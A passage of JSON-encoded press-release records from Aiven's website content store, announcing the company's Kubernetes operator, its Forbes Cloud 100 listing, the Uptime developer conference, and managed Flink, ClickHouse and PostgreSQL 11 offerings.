cloud."}],"markDefs":[{"_key":"m2039261424858","_type":"link","href":"https://www.forrester.com/blogs/predictions-2021-cloud-computing-powers-pandemic-recovery/"}],"style":"normal"},{"_key":"S4X49To9","_type":"block","children":[{"_key":"QgAkDfJ9","_type":"span","marks":[],"text":"“We are constantly looking for ways to simplify usage of Aiven services for our customers by finding new ways to integrate with their existing tooling,” said Hannu Valtonen, chief product officer at Aiven. “Aiven now supports two of the most popular next-gen configuration and orchestration systems — Terraform and Kubernetes. This latest offering shows our commitment to developing the tools that our customers need the most to enable them to better utilize their technology and grow their businesses.”"}],"markDefs":[],"style":"normal"},{"_key":"8jz7h8JF","_type":"block","children":[{"_key":"imn5ara2","_type":"span","marks":[],"text":"Kubernetes is a platform that automates Linux container operations, and is now a part of the Cloud Native Computing Foundation. Kubernetes allows users to quickly scale their data storage according to their needs, such as if an application has accelerated user growth."}],"markDefs":[],"style":"normal"},{"_key":"qpEHycFN","_type":"block","children":[{"_key":"ulfAqg3k","_type":"span","marks":[],"text":"Additional capabilities include improved project handling and the abilities to monitor, deploy, upgrade, backup and restore service. Aiven also has plans to extend the Aiven Operator for Kubernetes to its other products and will be adding more features in the near future."}],"markDefs":[],"style":"normal"},{"_key":"qaI818wx","_type":"block","children":[{"_key":"ehMgC50Q","_type":"span","marks":[],"text":"To learn more about Aiven Operator for Kubernetes, visit our "},{"_key":"AmnhY5DO","_type":"span","marks":["m63452543505"],"text":"blog"},{"_key":"UWV0ecP4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m63452543505","_type":"link","href":"https://aiven.io/blog/aiven-launches-kubernetes-operator-support-for-postgresql-and-apache-kafka"}],"style":"normal"},{"_key":"ffVpZtAi","_type":"block","children":[{"_key":"MhSjcRiR","_type":"span","marks":["strong"],"text":"About Aiven"},{"_key":"8ayGaMsn","_type":"span","marks":[],"text":" Headquartered in Helsinki with hubs in Berlin, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"5QhPh34V","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"WoGLCbRe","_type":"span","marks":[],"text":" and follow "},{"_key":"zyBc4oQt","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"fxReq1Hr","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-09-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven’s latest service enables customers to connect containerized applications running on Kubernetes directly into the Aiven Platform","metaTitle":"Aiven launches Aiven Operator for Kubernetes"},"slug":{"_type":"slug","current":"/press/aiven-launches-aiven-operator-for-kubernetes"},"subtitle":"Aiven’s latest service enables customers to connect containerized applications running on Kubernetes directly into the Aiven Platform","title":"Aiven launches Aiven Operator for Kubernetes"}
{"__i18n_lang":"en","_createdAt":"2022-09-07T06:43:43Z","_id":"1W8uD9Xc9PkgPiGQEL5Qqj","_rev":"ElrRHx5al3kb1PwLXHE3Ad","_type":"pressRelease","_updatedAt":"2022-12-02T13:07:23Z","content":[{"_key":"8MjPidRy","_type":"block","children":[{"_key":"kD8B3q3K","_type":"span","marks":["em"],"text":"Amid a year of exponential growth, including a Series D fundraise solidifying its $3B unicorn valuation, Aiven identified as a top private cloud company"}],"markDefs":[],"style":"normal"},{"_key":"w892DmiT","_type":"block","children":[{"_key":"IYZD2mb5","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 9, 2022"},{"_key":"i8g6wxHq","_type":"span","marks":[],"text":"— "},{"_key":"qzn9XWrs","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"BlHdtYC6","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, has been named to the Forbes 2022 Cloud 100, the definitive ranking of the top 100 private cloud companies in the world, published by Forbes in partnership with "},{"_key":"eeUgRN4B","_type":"span","marks":["m5424266191079"],"text":"Bessemer Venture Partners"},{"_key":"0lG3bHvb","_type":"span","marks":[],"text":" and "},{"_key":"dVFdpzRH","_type":"span","marks":["m4060849443817"],"text":"Salesforce Ventures"},{"_key":"BN7T9UzU","_type":"span","marks":[],"text":". This achievement marks the first time Aiven has been recognized as part of the annual rankings and cements the company’s position as a global leader in managed cloud data infrastructure."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m5424266191079","_type":"link","href":"https://www.bvp.com/"},{"_key":"m4060849443817","_type":"link","href":"https://www.salesforce.com/company/ventures/"}],"style":"normal"},{"_key":"C56PZOni","_type":"block","children":[{"_key":"Us9ErdHs","_type":"span","marks":[],"text":"“This recognition is an exciting achievement; one that validates the very idea of what we thought Aiven could become when we first started,” said Oskari Saarenmaa, Aiven’s CEO. “We designed our cloud data platform with the goal of helping fellow developers worry less and create more, and we are humbled and honored that this simple vision has allowed us to become one of the top private cloud companies in the world. We look forward to continuing this work to reach more developers around the globe.”"}],"markDefs":[],"style":"normal"},{"_key":"hJH1pxZy","_type":"block","children":[{"_key":"tBC0vq1z","_type":"span","marks":[],"text":"For the seventh straight year, the Cloud 100 reviews submissions from hundreds of cloud startups and private companies each year. The Cloud 100 evaluation process involved ranking companies across four factors: market leadership (35%), estimated valuation (30%), operating metrics (20%), and people \u0026 culture (15%). For market leadership, the Cloud 100 enlists the help of a judging panel of public cloud company CEOs who assist in evaluating and ranking their private company peers."}],"markDefs":[],"style":"normal"},{"_key":"p6MuOPci","_type":"block","children":[{"_key":"ssDZEdUl","_type":"span","marks":[],"text":"With a mission to make developers' lives better, Aiven offers a platform that makes sophisticated open source technologies like Apache Kafka®, PostgreSQL and OpenSearch accessible to all. By offloading mundane tasks of managing infrastructure, Aiven customers can focus on innovation and evolving the industry like Wolt, transforming deliveries from days to minutes with the help of cloud infrastructure and OVO Energy leveraging real-time analytics to drive consumption of renewable energy. Aiven serves a variety of industries, including retail, telecommunication, IT services, education, healthcare and more, with a diverse customer base in more than 50 countries."}],"markDefs":[],"style":"normal"},{"_key":"QIfkR9cp","_type":"block","children":[{"_key":"oimovztn","_type":"span","marks":[],"text":"“Great companies are born out of all environments, and it’s exciting to see the continued momentum in the cloud sector,” said Alex Kayyal, Managing Partner, Salesforce Ventures. “The companies on this list have gone through a rigorous selection process, and join an esteemed alumni list of Cloud 100 companies. As the need for digital transformation continues to drive innovation and efficiencies across industries, we can look to these companies as the absolute best in cloud computing.”"}],"markDefs":[],"style":"normal"},{"_key":"PBCsr5E4","_type":"block","children":[{"_key":"wBxqnPzD","_type":"span","marks":[],"text":"For more information on Aiven, visit "},{"_key":"0dSOOZDT","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"eT3Kf5Lo","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"Wk4bbb5Y","_type":"block","children":[{"_key":"zHjQ8NQC","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"D7VhKSji","_type":"block","children":[{"_key":"NC9fxSg0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit "},{"_key":"xiC8JvLj","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"JAh3aB0Z","_type":"span","marks":[],"text":" and follow "},{"_key":"lXQIGRHK","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"sYiCEJ8a","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"HPnUYM0W","_type":"block","children":[{"_key":"c1UhKgy2","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"OYbALFwg","_type":"block","children":[{"_key":"h12zxkXw","_type":"span","marks":[],"text":"Megan Gasper - Walker Sands - megan.gasper@walkersands.com"}],"markDefs":[],"style":"normal"},{"_key":"saJEI5B3","_type":"block","children":[{"_key":"kmQLv6Ef","_type":"span","marks":[],"text":"Rachel Romoff - Communications Director, Americas - rachel.romoff@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-08-09T00:00:00.000Z","seo":{"metaDescription":"Aiven has been named a 2022 Forbes Cloud 100 honoree alongside the top cloud companies in the world","metaTitle":"Aiven named a 2022 Forbes Cloud 100 honoree"},"slug":{"_type":"slug","current":"/press/aiven-named-forbes-cloud-100-honoree"},"subtitle":"Aiven has been named a 2022 Forbes Cloud 100 honoree alongside the top cloud companies in the world","title":"Aiven named a 2022 Forbes Cloud 100 honoree"}
{"__i18n_lang":"en","_createdAt":"2022-09-07T06:43:43Z","_id":"7JAYK3y41fDafE39Hr98u6","_rev":"fuFsKkOoAJwNVpPrIJw8ec","_type":"pressRelease","_updatedAt":"2022-12-07T13:38:19Z","body":"*New conference to promote open source technology and build stronger community and collaboration around databases and tools.* \n\n__HELSINKI, Finland__ — Aiven, the open source cloud data platform company, is hosting Uptime, its first developer conference, in Amsterdam on September 14 -15, 2022. In alignment with Aiven's commitment to open source, Uptime aims to provide a platform for sharing best practices on building and operating complex systems at scale and allowing open source companies and projects to showcase their solutions and use cases.\n\n“There are broad benefits to a healthy and vibrant open source community, which include the code itself and also sharing information and what kind of business problems it helps to solve,” said Heikki Nousiainen, field CTO and co-founder, Aiven. “Uptime by Aiven is an impactful way to gather the broader developer community together for learning and collaboration.”\n\nUptime will bring together developers, architects, data engineers, DevOps professionals, and anyone who wants to learn about open source databases and tools like PostgreSQL®, MySQL®, Apache Kafka®, Apache Flink®, Grafana®, Apache Pinot®, Apache Pulsar®, and many more.  \n\nKeynote speakers include Jason Yee, Staff Technical Evangelist at Datadog, Rob Barnes, Senior Developer Advocate at HashiCorp, Amanda Brock, CEO of OpenUK and Dirk-Willem van Gulik, Founder, first President and Member of the Apache Software Foundation. Their presentations will cover a wide range of topics including how to harness the full potential of open source tools, live challenges to the state and future on open source software, how a zero trust approach can underpin data security, and how open source patterns helped countries and citizens structure, scale up and speed up the Covid response in non-intuitive ways.\n\nUptime will include a variety of sessions on data governance, data pipelines, and how to build a future-proof data platform with the best open source technologies in your stack, and much more. Registration is open now and all proceeds benefit open source foundations.\n\nLearn more about Uptime by Aiven by visiting the event website. https://uptime.aiven.io/\n\nUptime is made possible by event sponsors including AWS/ OpenSearch, Axual, Excoscale, Postman, and UpCloud, and our community partners Berlin Buzzworks, Open Source Initiative, HashiCorp User Group Amsterdam and DataTalks.Club.\n\n### \n__About Aiven__\n\nHeadquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter.\n\n__Media Contacts__\n\nRuth Prieto Arenas, Communications Manager EMEA - press@aiven.io\n\nTing Ong, Communications Director EMEA \u0026 APAC - press@aiven.io\n","content":[{"_key":"GDVrkyuq","_type":"block","children":[{"_key":"6naeOTMv","_type":"span","marks":["em"],"text":"New conference to promote open source technology and build stronger community and collaboration around databases and tools."}],"markDefs":[],"style":"normal"},{"_key":"uNqOEj7U","_type":"block","children":[{"_key":"uqCwsaEI","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 23, 2022 - "},{"_key":"I0qwRaDJ","_type":"span","marks":[],"text":"Aiven, the open source cloud data platform company, is hosting Uptime, its first developer conference, in Amsterdam on September 14 -15, 2022. In alignment with Aiven's commitment to open source, Uptime aims to provide a platform for sharing best practices on building and operating complex systems at scale and allowing open source companies and projects to showcase their solutions and use cases."}],"markDefs":[],"style":"normal"},{"_key":"8ljDwf2a","_type":"block","children":[{"_key":"TQjqybBz","_type":"span","marks":[],"text":"“There are broad benefits to a healthy and vibrant open source community, which include the code itself and also sharing information and what kind of business problems it helps to solve,” said Heikki Nousiainen, field CTO and co-founder, Aiven. “Uptime by Aiven is an impactful way to gather the broader developer community together for learning and collaboration.”"}],"markDefs":[],"style":"normal"},{"_key":"3PwMtHEQ","_type":"block","children":[{"_key":"4EklYHzC","_type":"span","marks":[],"text":"Uptime will bring together developers, architects, data engineers, DevOps professionals, and anyone who wants to learn about open source databases and tools like PostgreSQL®, MySQL®, Apache Kafka®, Apache Flink®, Grafana®, Apache Pinot®, Apache Pulsar®, and many more."}],"markDefs":[],"style":"normal"},{"_key":"mHhAnlYP","_type":"block","children":[{"_key":"xk0Ov1j6","_type":"span","marks":[],"text":"Keynote speakers include Jason Yee, Staff Technical Evangelist at Datadog, Rob Barnes, Senior Developer Advocate at HashiCorp, Amanda Brock, CEO of OpenUK and Dirk-Willem van Gulik, Founder, first President and Member of the Apache Software Foundation. Their presentations will cover a wide range of topics including how to harness the full potential of open source tools, live challenges to the state and future on open source software, how a zero trust approach can underpin data security, and how open source patterns helped countries and citizens structure, scale up and speed up the Covid response in non-intuitive ways."}],"markDefs":[],"style":"normal"},{"_key":"c1pcJSFJ","_type":"block","children":[{"_key":"3SAx3XQk","_type":"span","marks":[],"text":"Uptime will include a variety of sessions on data governance, data pipelines, and how to build a future-proof data platform with the best open source technologies in your stack, and much more. Registration is open now and all proceeds benefit open source foundations."}],"markDefs":[],"style":"normal"},{"_key":"RHIw2SKv","_type":"block","children":[{"_key":"SEKrZv4Y","_type":"span","marks":[],"text":"Learn more about Uptime by Aiven by visiting the event website. https://uptime.aiven.io/"}],"markDefs":[],"style":"normal"},{"_key":"fKGU3nEs","_type":"block","children":[{"_key":"kMx70Oyu","_type":"span","marks":[],"text":"Uptime is made possible by event sponsors including AWS/ OpenSearch, Axual, Excoscale, Postman, and UpCloud, and our community partners Berlin Buzzworks, Open Source Initiative, HashiCorp User Group Amsterdam and DataTalks.Club."}],"markDefs":[],"style":"normal"},{"_key":"4kxqglRd","_type":"block","children":[{"_key":"Th3JfxRh","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"LdURWPdm","_type":"block","children":[{"_key":"3zxs3AmW","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"5V34qzBV","_type":"block","children":[{"_key":"MaD25I53","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"sCdBhkpI","_type":"block","children":[{"_key":"F4mbU0cs","_type":"span","marks":[],"text":"Ruth Prieto Arenas, Communications Manager EMEA - press@aiven.io"}],"markDefs":[],"style":"normal"},{"_key":"oYF6H9VK","_type":"block","children":[{"_key":"uioGBjZ8","_type":"span","marks":[],"text":"Ting Ong, Communications Director EMEA \u0026 APAC - press@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-08-23T00:00:00.000Z","seo":{"metaDescription":"New conference to promote open source technology and build stronger community and collaboration around databases and tools. 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{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"6jC58ZqSlNsWOpJnJgMysh","_rev":"Az4zPi8wljtyVnZ3eK6VJr","_type":"pressRelease","_updatedAt":"2022-12-07T13:40:47Z","content":[{"_key":"cHdLbBU2","_type":"block","children":[{"_key":"f2acd617119d","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — December 7, 2021"},{"_key":"uXKbVTPg","_type":"span","marks":[],"text":"- Aiven, a software company that combines the best open source technologies with cloud infrastructure, today announced the beta release of Aiven for Apache Flink. Aiven customers now have access to fully managed services for open source Apache Flink technology, including the rapid deployment of production-grade Apache Flink clusters and full-feature security and compliance."}],"markDefs":[],"style":"normal"},{"_key":"UVqET5rZ","_type":"block","children":[{"_key":"YXNrr8O3","_type":"span","marks":[],"text":"Apache Flink data processing capabilities integrate into several of Aiven’s existing services, like Aiven for Apache Kafka, PostgreSQL and OpenSearch services. Apache Flink is used for event-driven applications requiring real-time analytics or real-time Extract, Transform, Load (ETL) capabilities. Its many applications include:"}],"markDefs":[],"style":"normal"},{"_key":"QDv8rOli","_type":"block","children":[{"_key":"Udo6odsy","_type":"span","marks":[],"text":"Fraud and anomaly detection"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"DsPSxV1A","_type":"block","children":[{"_key":"BPLBGBdz","_type":"span","marks":[],"text":"Real-time activity monitoring and alerting"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"Bjw1BVo8","_type":"block","children":[{"_key":"CNIbi7S9","_type":"span","marks":[],"text":"Analytics dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"pRMoRWh0","_type":"block","children":[{"_key":"mfIAN9Os","_type":"span","marks":[],"text":"Continuous ETL in e-commerce"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"Yj6oyh6L","_type":"block","children":[{"_key":"2FfEaSJZ","_type":"span","marks":[],"text":"Real-time optimization of user experience"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"SONfFsIz","_type":"block","children":[{"_key":"aMnqal7k","_type":"span","marks":[],"text":"As organizations continue to integrate digital transformations at an unprecedented pace, it creates additional strain for developer teams. "},{"_key":"1rNBP0Au","_type":"span","marks":["m10856034196762"],"text":"IDC FutureScape"},{"_key":"hyoGTOan","_type":"span","marks":[],"text":" research reports more than half of enterprise organizations have an enterprise-wide digital transformation strategy, a 42% increase from just two years ago.*"}],"markDefs":[{"_key":"m10856034196762","_type":"link","href":"https://www.idc.com/getdoc.jsp?containerId=US47115521"}],"style":"normal"},{"_key":"H5dr5KVO","_type":"block","children":[{"_key":"vNk15UTl","_type":"span","marks":[],"text":"“Critical databases and open-source solutions, like Apache Flink, can be complex to manage and require a significant time investment. Our goal is to shift that burden so our customers can focus on their own key priorities instead,” said Aiven Chief Product Officer Hannu Valtonen. “Aiven enables organizations and database administrator teams to be 48% more efficient, according to an IDC white paper sponsored by Aiven.” **"}],"markDefs":[],"style":"normal"},{"_key":"QE8Fb8WA","_type":"block","children":[{"_key":"EcK1Hed1","_type":"span","marks":[],"text":"Aiven builds and deploys applications on fully managed data platforms for hundreds of businesses, enabling customers to focus on top business goals and digital transformation priorities. Through Aiven, database and developer teams have more freedom to work on projects that move the needle for their businesses, while Aiven handles the day-to-day management. IDC calculates that Aiven Data Cloud customers will realize benefits worth an annual average of $1.68 million per year by reduced infrastructure costs, improved agility, increased staff productivity and more opportunities for data-driven customer services."}],"markDefs":[],"style":"normal"},{"_key":"KiOz7ZcA","_type":"block","children":[{"_key":"1lPN0SrI","_type":"span","marks":[],"text":"“The main benefit of Aiven is the service, so we don't have to keep up with the environment, patch it, upgrade it, and those types of things. We know that Aiven is taking care of it, and we focus on what we do best, which is our business practices,” noted a U.S. e-Commerce company interviewed for the IDC white paper, “The Business Value of Aiven Data Cloud Solutions.”"}],"markDefs":[],"style":"normal"},{"_key":"TAq5qPUt","_type":"block","children":[{"_key":"ZyGR0MBS","_type":"span","marks":[],"text":"For more information about Aiven for Apache Flink, please visit https://aiven.io/flink."}],"markDefs":[],"style":"normal"},{"_key":"wL4Mbs81","_type":"block","children":[{"_key":"3cMqNkTP","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"Jav8wvt8","_type":"block","children":[{"_key":"ULkO81Xl","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Toronto, Sydney and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $2B unicorn valuation with a $60M extension to its $100M Series C funding round. Aiven has now raised $210M total funding thanks to its investors Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"KEwxsNYp","_type":"block","children":[{"_key":"4b0UQ3LM","_type":"span","marks":[],"text":"IDC, IDC FutureScape: Worldwide Digital Transformation 2022 Predictions, doc #US47115521, Oct. 2021"}],"markDefs":[],"style":"normal"},{"_key":"Alqj8Ck2","_type":"block","children":[{"_key":"nEycB1Do","_type":"span","marks":[],"text":"IDC Business Value Snapshot, sponsored by Aiven, The Business Value of Aiven Data Cloud, doc #US48198621, August 2021"}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-12-07T00:00:00.000Z","seo":{"metaDescription":"Fully managed Apache Flink services are now available to Aiven customers for event stream processing","metaTitle":"Aiven Launches Managed Services for Apache Flink"},"slug":{"_type":"slug","current":"/press/aiven-launches-managed-services-for-apache-flink"},"subtitle":"Fully managed Apache Flink services are now available to Aiven customers for event stream processing","title":"Aiven launches managed services for Apache Flink"}
{"__i18n_lang":"en","_createdAt":"2022-09-26T16:08:32Z","_id":"4HUz4R0keYc2QiR4wxt6x1","_rev":"fuFsKkOoAJwNVpPrIJujqY","_type":"pressRelease","_updatedAt":"2022-12-07T13:31:50Z","content":[{"_key":"vCSSqLOr","_type":"block","children":[{"_key":"ArK9YQiQ","_type":"span","marks":["strong"],"text":"AMSTERDAM, Netherlands — September 14, 2022 -"},{"_key":"7kjUaNuA","_type":"span","marks":[],"text":" "},{"_key":"Th2m1V18","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"0ZylZ4Zb","_type":"span","marks":[],"text":", the open source cloud data platform company, announced today the beta launch of "},{"_key":"RPhqB28M","_type":"span","marks":["m7338328337333"],"text":"Aiven for ClickHouse®"},{"_key":"tz3qNuOP","_type":"span","marks":[],"text":"at "},{"_key":"eiUvs0qF","_type":"span","marks":["m12954065321206"],"text":"Uptime"},{"_key":"lzPNRuIn","_type":"span","marks":[],"text":", the company’s first annual developer conference. Marking Aiven’s entrance to the cloud data warehousing market, the addition enables Aiven’s customers to use the fastest open source columnar database to access high-performance analytics for insights that drive key business decisions."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m7338328337333","_type":"link","href":"https://aiven.io/blog/aiven-for-clickhouse-beta-now-available"},{"_key":"m12954065321206","_type":"link","href":"https://uptime.aiven.io/"}],"style":"normal"},{"_key":"y7Qu5CJ4","_type":"block","children":[{"_key":"amGWMXw3","_type":"span","marks":[],"text":"“We’re thrilled to introduce Aiven for ClickHouse® Beta to our customers and further democratize access to best-of-breed open source technologies,” said Heikki Nousiainen, CTO at Aiven. “While our customers love our managed database offerings like PostgreSQL and MySQL, as data grows, they must incorporate data warehousing into their overall strategy. ClickHouse provides the best performance and scalability to meet customer demand. With ClickHouse, we can now better support our customers in leveraging their data into actionable insights to increase revenue and overall productivity of their business.”"}],"markDefs":[],"style":"normal"},{"_key":"3jmXpfS3","_type":"block","children":[{"_key":"GagdrGiJ","_type":"span","marks":[],"text":"Based on open source ClickHouse, Aiven for ClickHouse® Beta is a fully managed cloud data warehouse that brings high performance analytics to Aiven and allows the generation of analytical data reports in real-time using advanced SQL queries. Below are a few new integrations that Aiven for ClickHouse® Beta will offer."}],"markDefs":[],"style":"normal"},{"_key":"9UpdBYog","_type":"block","children":[{"_key":"J8lsAgsR","_type":"span","marks":[],"text":"Run federated queries from Clickhouse to data on PostgreSQL without transferring data."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"nZ1SlqJa","_type":"block","children":[{"_key":"5yS13V9c","_type":"span","marks":[],"text":"Stream data from multiple sources using Aiven for Kafka to ClickHouse for real-time analytics"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"DW1shjGh","_type":"block","children":[{"_key":"Vg6L98h3","_type":"span","marks":[],"text":"Visualize insights from ClickHouse with Aiven for Grafana"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8UQAQD3m","_type":"block","children":[{"_key":"xQUH0Cs3","_type":"span","marks":[],"text":"“By collaborating with the fellow proponents of open source at ClickHouse, we are living our mission to make developer’s lives better while working together to improve the larger open source community,” said Lorna Mitchell, Head of Developer Relations at Aiven. “Aiven for ClickHouse® Beta is an offering that directly speaks to bringing a good developer experience to one of the biggest pain points in data platforms today.”"}],"markDefs":[],"style":"normal"},{"_key":"Z1hcw4dL","_type":"block","children":[{"_key":"iJUNyuyf","_type":"span","marks":[],"text":"Companies across many industries, from global financial institutions, to transportation companies to audio streaming and media services, rely on ClickHouse for their data warehousing needs. ClickHouse aims to match or even exceed the performance, maturity and scalability of proprietary databases. It contributes to the open source community by having a plethora of developers committed to the necessary projects they are working on, including Aiven for ClickHouse®."}],"markDefs":[],"style":"normal"},{"_key":"7T2oqVua","_type":"block","children":[{"_key":"hI1r3TJu","_type":"span","marks":[],"text":"To learn more about Aiven for ClickHouse® Beta, visit https://aiven.io."}],"markDefs":[],"style":"normal"},{"_key":"Cj7G5n7p","_type":"block","children":[{"_key":"EaycEVpw","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"oIRixgIe","_type":"block","children":[{"_key":"RKo5h9zJ","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney, Toronto, and Tokyo, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. 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{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"3T797FpMHKCW1Sm4f4DIyt","_rev":"Gpxvh8f3DECNLdA0uhZevp","_type":"pressRelease","_updatedAt":"2023-08-04T09:29:30Z","body":"__Helsinki, Finland__\n\nAiven is the first to make PostgreSQL 11 generally available across AWS, GCP, Microsoft Azure, DigitalOcean, and UpCloud platforms. This is the second time since PostgreSQL 10 was released that Aiven was the first to offer the latest major version in a generally available form.\n\nAs data volumes have soared, PostgreSQL has been working on enhancing its performance when dealing with large-scale data. PostgreSQL 11 continues the theme with improvements to its partitioning, parallel queries, and addition of Just-in-Time compilation.\n\nHannu Valtonen, VP of Product for Aiven, discusses why it was important to quickly make PG 11 available to its users, \"Our users have been especially waiting for the feature to support Just-In-Time (JIT) compilation for their workloads and we wanted to be able to give our customers an edge by being the first to support the new features.\"\n\nNew users can access PostgreSQL 11 in minutes by creating an Aiven account and deploying PG 11 in the cloud and region of their choice. Current users can create a new instance or upgrade a current one using Aiven’s in-place major version upgrade feature.\n\nFor a brief overview of PostgreSQL 11’s more interesting improvements, [Aiven’s blog post](https://aiven.io/blog/postgresql-11-now-generally-available-on-aiven/). For the complete release notes, visit the [PostgreSQL Development Group site](https://www.postgresql.org/docs/devel/release-11.html).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"DuSCoK9p","_type":"block","children":[{"_key":"0e5948f4323b","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 6, 2018-"},{"_key":"9cDtzFxG","_type":"span","marks":[],"text":" is the first to make PostgreSQL 11 generally available across AWS, GCP, Microsoft Azure, DigitalOcean, and UpCloud platforms. This is the second time since PostgreSQL 10 was released that Aiven was the first to offer the latest major version in a generally available form."}],"markDefs":[],"style":"normal"},{"_key":"Add6J9rm","_type":"block","children":[{"_key":"kN36rFAf","_type":"span","marks":[],"text":"As data volumes have soared, PostgreSQL has been working on enhancing its performance when dealing with large-scale data. PostgreSQL 11 continues the theme with improvements to its partitioning, parallel queries, and addition of Just-in-Time compilation."}],"markDefs":[],"style":"normal"},{"_key":"RFr0E4eR","_type":"block","children":[{"_key":"Orfgcbeo","_type":"span","marks":[],"text":"Hannu 